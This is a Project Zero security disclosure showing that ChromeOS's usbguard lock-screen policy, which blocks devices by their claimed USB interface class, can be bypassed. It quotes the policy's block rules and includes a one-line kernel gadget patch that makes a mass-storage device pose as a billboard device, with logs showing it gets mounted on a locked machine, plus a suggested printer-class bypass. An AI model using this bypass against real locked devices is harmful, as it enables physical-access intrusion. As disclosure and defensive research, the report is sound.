ChromeOS' usage of usbguard is bypassable VULNERABILITY DETAILS ChromeOS uses https://usbguard.github.io/ when the screen is locked (but not on the login screen, perhaps because it is expected that code execution is much less helpful when the disk is still encrypted?). When the screen is locked, a policy is applied that might look like this (example from my Pixelbook): ``` allow id 0bda:564b serial \"\\x07LOE65001063010A78M015CFAI06BF12000\" name \"WebCamera\" hash \"KsByWtMB5JtGNDimauArXMiZOThFwagdTWeQsMAZ48c=\" with-interface { 0e:01:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 0e:02:00 } with-connect-type \"hardwired\" allow id 1d6b:0002 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"jEP/6WzviqdJ5VSeTUY8PatCNBKeaREvo2OqdplND/o=\" with-interface 09:00:00 with-connect-type \"\" allow id 1d6b:0003 serial \"0000:00:14.0\" name \"xHCI Host Controller\" hash \"3Wo3XWDgen1hD5xM3PSNl3P98kLp1RUTgGQ5HSxtf8k=\" with-interface 09:00:00 with-connect-type \"\" allow id 8087:0a2a serial \"\" name \"\" hash \"AyPZWy2XK0931kB9A/owYfk5xHEqnpDsJfdeLSGIyuk=\" with-interface { e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 e0:01:01 } with-connect-type \"hardwired\" #################################################################################################### # Footer. #################################################################################################### block with-interface one-of { 05:*:* 06:*:* 07:*:* 08:*:* } # physical, image, printer, storage allow ``` As you can see, it mostly just allowlists specific devices with full hashes of the expected USB configuration descriptors, and internal USB devices are marked such that they won't be accepted on external USB ports. (Which, by the way, might not actually be necessary, since the USB subsystem's `authorized_default` flag is set to 2 when the screen is locked, not 0, meaning internal USB devices are automatically allowed anyway?) But then at the bottom is this footer that blocks USB devices with interface descriptors that contain the following `bInterfaceClass` values: - USB_CLASS_PHYSICAL (5) - USB_CLASS_STILL_IMAGE (6) - USB_CLASS_PRINTER (7) - USB_CLASS_MASS_STORAGE (8) Afterwards, anything else is permitted. This configuration footer comes from . The interface-based classification of devices was introduced in . Apart from the problem that there is a large amount of attack surface in drivers for devices that don't belong into those USB interface classes, there is another issue with this approach: The kernel often doesn't care what USB class a device claims to be. The way USB drivers tend to work, even for standardized protocols, is that the driver specifies with low priority that it would like to bind to standards-compliant devices using the proper USB interface class, but also specifies with high priority that it would like to bind to specific USB devices based on Vendor ID and Product ID, without caring about their USB interface class. As an example, USB_CLASS_MASS_STORAGE is blocklisted, so a USB stick inserted while the screen is locked doesn't get past the authorization check: [ 6411.611320] usb 1-1: new high-speed USB device number 31 using xhci_hcd [ 6411.738900] usb 1-1: New USB device found, idVendor=0781, idProduct=5580, bcdDevice= 0.10 [ 6411.738910] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 6411.738916] usb 1-1: Product: [...] [ 6411.738921] usb 1-1: Manufacturer: SanDisk [ 6411.738926] usb 1-1: SerialNumber: [...] [ 6411.740583] usb 1-1: Device is not authorized for usage [ 6414.875133] cros-ec-sensorhub [...] [ 6418.603609] usb 1-1: USB disconnect, device number 31 But if we use a Linux machine with appropriate hardware (I'm using a NET2380 dev board, but you could probably also do it with an unlocked Pixel phone or a Raspberry Pi Zero W or something like that) to emulate a USB Mass Storage device, using , and patch one line in the attacker kernel so that it claims to be a billboard, not a storage device: diff --git a/drivers/usb/gadget/function/storage_common.c b/drivers/usb/gadget/function/storage_common.c index b859a158a414..d7452c8458a9 100644 --- a/drivers/usb/gadget/function/storage_common.c +++ b/drivers/usb/gadget/function/storage_common.c @@ -34,7 +34,7 @@ struct usb_interface_descriptor fsg_intf_desc = { .bDescriptorType = USB_DT_INTERFACE, .bNumEndpoints = 2, /* Adjusted during fsg_bind() */ - .bInterfaceClass = USB_CLASS_MASS_STORAGE, + .bInterfaceClass = USB_CLASS_BILLBOARD, .bInterfaceSubClass = USB_SC_SCSI, /* Adjusted during fsg_bind() */ .bInterfaceProtocol = USB_PR_BULK, /* Adjusted during fsg_bind() */ .iInterface = FSG_STRING_INTERFACE, Then we can connect just fine even while the screen is locked - first we get a \"Device is not authorized\" message on the initial connection, then usbguard unblocks us and the kernel probes the device as a mass storage device and scans the partition table: [ 6432.752906] usb 1-1: new high-speed USB device number 32 using xhci_hcd [ 6432.885635] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a5, bcdDevice= 5.17 [ 6432.885647] usb 1-1: New USB device strings: Mfr=3, Product=4, SerialNumber=0 [ 6432.885653] usb 1-1: Product: Mass Storage Gadget [ 6432.885658] usb 1-1: Manufacturer: Linux 5.17.0-rc4+ with net2280 [ 6432.886121] usb 1-1: Device is not authorized for usage [ 6432.891672] usb-storage 1-1:1.0: USB Mass Storage device detected [ 6432.891985] usb-storage 1-1:1.0: Quirks match for vid 0525 pid a4a5: 10000 [ 6432.892090] scsi host0: usb-storage 1-1:1.0 [ 6432.892567] usb 1-1: authorized to connect [ 6433.920354] scsi 0:0:0:0: Direct-Access Linux File-Stor Gadget 0517 PQ: 0 ANSI: 2 [ 6433.922585] sd 0:0:0:0: Power-on or device reset occurred [ 6433.923533] sd 0:0:0:0: [sda] 204800 512-byte logical blocks: (105 MB/100 MiB) [ 6434.030869] sd 0:0:0:0: [sda] Write Protect is off [ 6434.030876] sd 0:0:0:0: [sda] Mode Sense: 0f 00 00 00 [ 6434.136540] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 6434.363462] sda: sda1 sda2 [ 6434.585367] cros-ec-sensorhub [...] [ 6434.588541] sd 0:0:0:0: [sda] Attached SCSI disk I haven't looked at how this issue applies to other USB subsystems in detail, but from a quick glance: - USB_CLASS_PHYSICAL doesn't really show up in the Linux kernel outside of some number-to-string translation table, so I don't think it matters to the kernel. - Same thing with USB_CLASS_STILL_IMAGE. - The usblp subsystem does have an explicit check for USB_CLASS_PRINTER - but that check is intentionally bypassed for known devices that are marked in the kernel as USBLP_QUIRK_BAD_CLASS, and that flag is set for the \"Seiko Epson Receipt Printer M129C\" (vendor 0x04b8, device 0x0202), so you can probably also bypass the blocking of the printer interface class that way. I think the best way forward would be to look into whether it is feasible to rely exclusively on a trust-on-first-use approach. If that is infeasible, you may have to talk to upstream about how userspace can reliably determine which driver(s) a given USB device might be bound to, since I'm not aware of any interface that would let you do that. VERSION Google Chrome 98.0.4758.107 (Official Build) (64-bit) Revision a2ef32d533baed737df9fc2ed8d505405ecf0c66-refs/branch-heads/4758@{#1167} Platform 14388.61.0 (Official Build) stable-channel eve Firmware Version Google_Eve.9584.230.0 Customization ID GOOGLE-EVE ARC 8165997 CREDIT INFORMATION Reporter credit: Jann Horn of Google Project Zero This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-05-25. Found by: jannh@google.com